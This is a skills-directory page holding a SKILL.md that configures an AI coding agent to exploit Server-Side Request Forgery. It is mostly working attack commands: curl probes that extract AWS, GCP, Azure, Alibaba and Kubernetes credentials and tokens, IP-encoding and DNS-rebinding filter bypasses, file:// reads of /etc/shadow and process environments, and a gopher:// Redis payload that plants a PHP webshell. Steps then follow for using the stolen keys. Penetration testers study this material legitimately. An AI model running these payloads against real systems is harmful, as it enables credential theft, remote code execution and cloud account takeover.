Back to skills
SKILL.md
Webapp Performing Ssrf Vulnerability Exploitation
BSecurityTest for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, internal network services, and protocol handlers through user-controllable URL parameters.
- 2 stars
- 0 votes
- 0 copies
- 0 views
- Added November 7, 2026
Works with
Security analysis
75/100- Accesses sensitive system or user directories
- Sends environment variables or credentials to an external URL
Pro scans all 4 files and shows the line behind each finding
npx -y skills add bitbytelabio/arsenal --skill webapp-performing-ssrf-vulnerability-exploitation --agent claude-codeAre you the author of Webapp Performing Ssrf Vulnerability Exploitation?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/bitbytelabio-webapp-performing-ssrf-vulnerability-exploitation)---
name: webapp-performing-ssrf-vulnerability-exploitation
description: Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, internal network services, and protocol handlers through user-controllable URL parameters.
domain: webapp
category: injection
hide: true
license: Apache-2.0
metadata:
manifest_entry: src/corpus/webapp-performing-ssrf-vulnerability-exploitation/SKILL.md
---
# Server-Side Request Forgery (SSRF) Exploitation & Cloud Metadata Pivoting
## When to Use
Execute this operational playbook when user-supplied input—including query parameters (`url=`, `dest=`, `feed=`, `webhook=`, `callback=`, `target=`, `endpoint=`, `uri=`), JSON bodies, XML entities, PDF generators, file upload processors, or HTTP headers—is processed by the server to initiate backend HTTP or non-HTTP network requests. This playbook targets OWASP WSTG-INJT-19 and OWASP Top 10 A10:2021.
---
## 1. Operational Decision Tree
```text
[User-Controlled Request Input Identified]
│
▼
[Preflight Authorization Check]
(Verify Target & Out-of-Scope CIDRs in scope.json)
│
┌────────────────┴────────────────┐
▼ ▼
[In-Band / Direct Response] [Blind / Out-of-Band Response]
│ │
▼ ▼
[Cloud Metadata Probe Phase] [Collaborator / OOB Callback]
- AWS IMDSv1 & IMDSv2 Token Probe - Burp Collaborator / Interactsh
- GCP Metadata-Flavor: Google - DNS Callback / HTTP Header Ping
- Azure Metadata: true (2021-02-01) - Attributable Interaction Check
- Kubernetes Pod Token / etcd │
│ │
└────────────────┬────────────────┘
▼
[Target Response Triage]
│
┌────────────────────────────┼────────────────────────────┐
▼ ▼ ▼
[HTTP 200 + Content] [HTTP 401 / 403 Block] [Connection Dropped]
Credentials / Metadata WAF / Filter / IMDSv2 Blocked Port / Loop
│ │ │
▼ ▼ ▼
[Verify True SSRF] [Filter Bypass Phase] [Protocol Handler Pivot]
Tripartite Oracle: - Decimal / Octal / Hex IP - gopher:// (Redis / SMTP)
Positive Attribution - IPv6 Dual Stack [::1] - dict:// (Memcached)
Negative Control - DNS Rebinding (TTL 0) - file:// (LFI / config)
Differential Invariance - Open Redirect Chain - sftp:// / ldap://
│ │ │
└────────────────────────────┼────────────────────────────┘
▼
[Evidence Integrity Pipeline]
arsenal append-evidence --case $CASE_ID --tool ssrf ...
│
▼
[Kill-Chain Chaining & Handoff]
- AWS IAM Credentials -> cloudfox / pacu
- Redis Remote Execution -> red-post-exploitation
- Kubernetes Secret -> cluster-privesc
```
---
## 2. Multi-Stage Tooling Pipeline & Execution
### Stage 1: Cloud Metadata Extraction (AWS, GCP, Azure, Kubernetes)
#### AWS IMDSv1 (Direct Unauthenticated Probe)
Test for unhardened EC2 environments where IMDSv1 remains permitted:
```bash
# Query general EC2 security credentials list
curl -sk -A "Mozilla/5.0" \
--max-time 10 \
"https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Retrieve temporary session credentials (AccessKeyId, SecretAccessKey, Token)
curl -sk -A "Mozilla/5.0" \
--max-time 10 \
"https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"
# Retrieve user-data script (often contains hardcoded API keys or setup secrets)
curl -sk -A "Mozilla/5.0" \
--max-time 10 \
"https://$TARGET/fetch?url=http://169.254.169.254/latest/user-data"
```
#### AWS IMDSv2 (Session Token Downgrade / Bypass)
When direct GET returns HTTP 401, IMDSv2 is enforced. If the SSRF vulnerability supports custom HTTP methods or header injection, acquire and forward a session token:
```bash
# Step 1: Request session token with 6-hour TTL via PUT
curl -sk -X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"https://$TARGET/fetch?url=http://169.254.169.254/latest/api/token" -o tmp/aws_token.txt
# Step 2: Access metadata using the retrieved token in request header
TOKEN=$(cat tmp/aws_token.txt)
curl -sk \
-H "X-aws-ec2-metadata-token: $TOKEN" \
"https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
```
*Note on IMDSv2 Hop Limit*: AWS default hop limit for IMDSv2 is `1`. In containerized environments (ECS, Docker, Kubernetes), requests originating inside a container are rejected unless the host EC2 instance was configured with `HttpPutResponseHopLimit=2`.
#### Google Cloud Platform (GCP Compute Engine & GKE)
GCP enforces the `Metadata-Flavor: Google` request header on metadata queries:
```bash
# Extract GCP service account access token
curl -sk \
-H "Metadata-Flavor: Google" \
"https://$TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Extract instance identity and environment attributes
curl -sk \
-H "Metadata-Flavor: Google" \
"https://$TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"
```
#### Microsoft Azure Virtual Machines & Container Instances
Azure requires the `Metadata: true` header and an API version query parameter:
```bash
# Extract Azure managed identity OAuth2 token for Azure Resource Manager
curl -sk \
-H "Metadata: true" \
"https://$TARGET/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Extract Azure VM instance compute and network metadata
curl -sk \
-H "Metadata: true" \
"https://$TARGET/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"
```
#### Kubernetes Pod Service Account & etcd
Within Kubernetes clusters, query local service account credentials or unauthenticated etcd daemon ports:
```bash
# Read default ServiceAccount token mounted in pod filesystem
curl -sk "https://$TARGET/fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token"
# Probe internal API server for cluster discovery
curl -sk "https://$TARGET/fetch?url=https://kubernetes.default.svc/api/v1/namespaces/default/secrets"
# Probe unauthenticated etcd cluster keys on standard port 2379
curl -sk "https://$TARGET/fetch?url=http://127.0.0.1:2379/v2/keys/?recursive=true"
```
#### Alibaba Cloud (Aliyun ECS)
Alibaba Cloud hosts metadata on `100.100.100.200`:
```bash
# Extract Alibaba Cloud RAM role temporary security credentials
curl -sk "https://$TARGET/fetch?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/"
curl -sk "https://$TARGET/fetch?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/<ROLE_NAME>"
```
#### DigitalOcean Droplets
DigitalOcean metadata service provides JSON-formatted droplet configurations:
```bash
# Extract Droplet user-data and droplet metadata
curl -sk "https://$TARGET/fetch?url=http://169.254.169.254/metadata/v1.json"
curl -sk "https://$TARGET/fetch?url=http://169.254.169.254/metadata/v1/user-data"
```
#### Oracle Cloud Infrastructure (OCI)
OCI requires an authorization bearer header:
```bash
# Extract OCI instance shape, keys, and compartment details
curl -sk \
-H "Authorization: Bearer Oracle" \
"https://$TARGET/fetch?url=http://169.254.169.254/opc/v2/instance/"
```
---
### Stage 2: Filter Evasion & IP Address Representation Bypasses
When the application rejects `127.0.0.1`, `localhost`, or `169.254.169.254` via regex blacklists, mutate IP encodings to bypass naive string matching:
| Technique | Payload Example | Target Resolution |
| :--- | :--- | :--- |
| **Dotted Hex** | `http://0x7f.0.0.1/` | `127.0.0.1` |
| **Single Dword / Integer** | `http://2130706433/` | `127.0.0.1` (`127*256^3 + 1`) |
| **Cloud Decimal IP** | `http://2852039166/` | `169.254.169.254` |
| **Octal Encoding** | `http://0177.0.0.1/` or `http://017700000001/` | `127.0.0.1` |
| **IPv6 Loopback** | `http://[::1]/` or `http://[0:0:0:0:0:0:0:1]/` | Localhost |
| **IPv6 IPv4-Mapped** | `http://[::ffff:127.0.0.1]/` | `127.0.0.1` |
| **IPv6 Cloud Address** | `http://[::ffff:169.254.169.254]/` | `169.254.169.254` |
| **Short Loopback** | `http://127.1/` or `http://127.0.1/` | `127.0.0.1` |
| **Wildcard DNS Alias** | `http://127.0.0.1.nip.io/` | `127.0.0.1` |
| **Cloud DNS Alias** | `http://169.254.169.254.nip.io/` | `169.254.169.254` |
| **URI Authority Confusion** | `http://trusted.target.com@169.254.169.254/` | `169.254.169.254` |
| **Backslash Trick** | `http://trusted.target.com\169.254.169.254/` | Browser/Node parser desync |
#### DNS Rebinding (Time-of-Check to Time-of-Use)
When backend code validates IP on resolution before initiating a request via a separate socket, bypass via zero-TTL DNS rebinding:
```bash
# Configure DNS record with TTL 0 to alternate between external allowed IP and target IP
# Using public rebinding utility (rbndr.us):
# A: 54.210.12.34 (allowed), B: 169.254.169.254 (target)
# Encoded host: 36d20c22.a9fea9fe.rbndr.us
curl -sk "https://$TARGET/fetch?url=http://36d20c22.a9fea9fe.rbndr.us/latest/meta-data/"
```
#### Open Redirect Chaining
When the application enforces strict domain whitelisting (`*.target.com`), identify an open redirect on the whitelisted domain to bounce the internal request:
```bash
# Whitelist checks https://target.com, but backend follows 302 location header to internal metadata
curl -sk "https://$TARGET/fetch?url=https://target.com/oauth/redirect?url=http://169.254.169.254/latest/meta-data/"
```
---
### Stage 3: Protocol Handler Pivoting & Non-HTTP Exploitation
When the backend HTTP client (e.g., cURL, libcurl, urllib) permits non-HTTP schemes, pivot into internal non-web services:
#### `file://` — Local File Disclosure
```bash
# Read UNIX system credentials and environment variables
curl -sk "https://$TARGET/fetch?url=file:///etc/passwd"
curl -sk "https://$TARGET/fetch?url=file:///etc/shadow"
curl -sk "https://$TARGET/fetch?url=file:///proc/self/environ"
curl -sk "https://$TARGET/fetch?url=file:///proc/self/cmdline"
# Read Windows system configuration
curl -sk "https://$TARGET/fetch?url=file:///C:/Windows/win.ini"
curl -sk "https://$TARGET/fetch?url=file:///C:/Windows/System32/drivers/etc/hosts"
```
#### `gopher://` — Arbitrary TCP Stream Injection (Redis RCE / SMTP)
The `gopher://` protocol allows sending raw multi-line TCP payloads with URL-encoded carriage returns (`%0d%0a`):
```bash
# Redis Remote Command Execution: Write webshell into webroot via unauthenticated Redis (port 6379)
GOPHER_PAYLOAD="gopher://127.0.0.1:6379/_*3%0d%0a\$3%0d%0aset%0d%0a\$8%0d%0awebshell%0d%0a\$28%0d%0a<?php%20system(\$_GET['cmd']);%20?>%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$3%0d%0adir%0d%0a\$13%0d%0a/var/www/html%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$10%0d%0adbfilename%0d%0a\$9%0d%0ashell.php%0d%0a*1%0d%0a\$4%0d%0asave%0d%0a*1%0d%0a\$4%0d%0aquit%0d%0a"
curl -sk "https://$TARGET/fetch?url=$GOPHER_PAYLOAD"
```
#### `dict://` — Memcached / Service Command Injection
```bash
# Query Memcached statistics or dump cached tokens
curl -sk "https://$TARGET/fetch?url=dict://127.0.0.1:11211/stats"
```
---
### Stage 4: Blind SSRF Out-of-Band (OOB) Verification
When the application does not reflect the response body, verify the vulnerability using Out-of-Band interaction monitoring (Burp Collaborator or ProjectDiscovery Interactsh):
```bash
# Step 1: Generate unique OOB domain token
COLLAB_DOMAIN="c54x92m81p9.oastify.com"
# Step 2: Inject OOB URL across all input vectors
curl -sk -A "Mozilla/5.0" \
--max-time 15 \
"https://$TARGET/api/webhook?url=http://$COLLAB_DOMAIN/ssrf_probe_01"
# Step 3: Test Header-based SSRF injection vectors
curl -sk -X GET "https://$TARGET/dashboard" \
-H "X-Forwarded-For: $COLLAB_DOMAIN" \
-H "X-Real-IP: $COLLAB_DOMAIN" \
-H "Referer: http://$COLLAB_DOMAIN/ref_probe" \
-H "X-Original-URL: http://$COLLAB_DOMAIN/orig_probe" \
-H "X-Rewrite-URL: http://$COLLAB_DOMAIN/rewrite_probe"
```
---
## 3. Tripartite Verification Oracle
An SSRF vulnerability is confirmed **only** when three distinct verification tests pass:
```text
+---------------------------------------------------------------------------------------+
| TRIPARTITE VERIFICATION ORACLE |
+---------------------------------------------------------------------------------------+
| 1. POSITIVE ASSERTION | Attributable data returned in response: |
| | - AWS: "AccessKeyId" AND "SecretAccessKey" in body |
| | - GCP: "computeMetadata" OR valid JSON access_token |
| | - Azure: valid OAuth2 bearer token for management |
| | - Linux: "root:x:0:0:" in file:///etc/passwd |
| | - Blind: Attributable HTTP/DNS lookup from target IP |
+-----------------------------+---------------------------------------------------------+
| 2. NEGATIVE BASELINE | Probe non-existent internal RFC-1918 address: |
| CONTROL | http://10.254.254.253:59182/nonexistent |
| | Confirm response triggers error, timeout, or soft-404, |
| | verifying target does not return static 200 responses. |
+-----------------------------+---------------------------------------------------------+
| 3. DIFFERENTIAL INVARIANCE | Repeat positive probe with altered parameter entropy: |
| | Confirm identical data or reproducible callback delay, |
| | proving behavior is deterministic and persistent. |
+---------------------------------------------------------------------------------------+
```
---
## 4. False-Positive & Edge-Case Elimination
- **Soft-404 Reflection**: Some applications mirror user input directly in generic 200 OK responses (e.g., `"Could not fetch URL: http://169.254.169.254"`). Verify that the returned body contains **actual internal service data**, not just the echoed URL string.
- **WAF Intermediary Block vs Target Firewall**: An HTTP 403 response containing Cloudflare, Akamai, or AWS WAF signatures indicates perimeter blocking, not vulnerability presence. Differentiate using:
```bash
# Check response server header and body signatures
curl -sk -I "https://$TARGET/fetch?url=http://169.254.169.254" | grep -iE "cloudflare|akamai|waf|x-amz-cf-id"
```
- **IMDSv2 401 Unauthorized**: Receiving HTTP 401 Unauthorized from `http://169.254.169.254/latest/meta-data/` proves the server successfully contacted the AWS metadata IP, confirming SSRF reachability even though credentials are gated by IMDSv2.
- **DNS Resolution Caching**: Test with unique subdomains on each probe (`probe1.$COLLAB_DOMAIN`, `probe2.$COLLAB_DOMAIN`) to prevent upstream DNS cache hits from hiding requests.
---
## 5. Evidence Capture & Ledger Registration
Register captured SSRF artifacts through Arsenal's cryptographic evidence pipeline:
```bash
# 1. Capture raw metadata exfiltration response
curl -sk "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
> work/$CASE_ID/evidence/raw/ssrf_aws_metadata.txt
# 2. Append evidence entry to cryptographic audit ledger
arsenal append-evidence \
--case $CASE_ID \
--tool curl \
--file work/$CASE_ID/evidence/raw/ssrf_aws_metadata.txt \
--desc "Confirmed SSRF metadata exfiltration exposing AWS IAM role credentials"
# 3. Log OOB interaction callback log
arsenal append-evidence \
--case $CASE_ID \
--tool interactsh \
--file work/$CASE_ID/evidence/raw/oob_callback_receipt.json \
--desc "Confirmed Blind SSRF via attributable DNS interaction callback"
```
---
## 6. Kill-Chain Chaining & Downstream Handoffs
- **Prerequisites**:
- Target URL or endpoint identified via `webapp-web-surface-discovery` or parameter fuzzing (`arjun`).
- Target host verified within `.omp/arsenal/scope.json`.
- **Downstream Handoffs**:
- **AWS IAM Credentials Captured**: Export credentials to environment and transition to `red-aws-cloud-pentesting`, `cloudfox`, or `pacu`:
```bash
export AWS_ACCESS_KEY_ID="<EXTRACTED_KEY>"
export AWS_SECRET_ACCESS_KEY="<EXTRACTED_SECRET>"
export AWS_SESSION_TOKEN="<EXTRACTED_TOKEN>"
cloudfox aws --profile target all-checks
```
- **Internal Redis / Database Pivot**: If internal database ports (6379, 11211, 3306) are reachable via `gopher://`, execute `red-lateral-movement-windows-rpc-smb` or Redis shell writing.
- **Kubernetes Pod Token Captured**: Query Kubernetes API server:
```bash
kubectl --token="<EXTRACTED_SA_TOKEN>" --server="https://kubernetes.default.svc" --insecure-skip-tls-verify get pods,secrets
```
Files in this skill
- SKILL.md
- payloads/cloud-metadata.txt
- payloads/filter-bypasses.txt
- payloads/protocol-pivots.txt
Attribution
Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.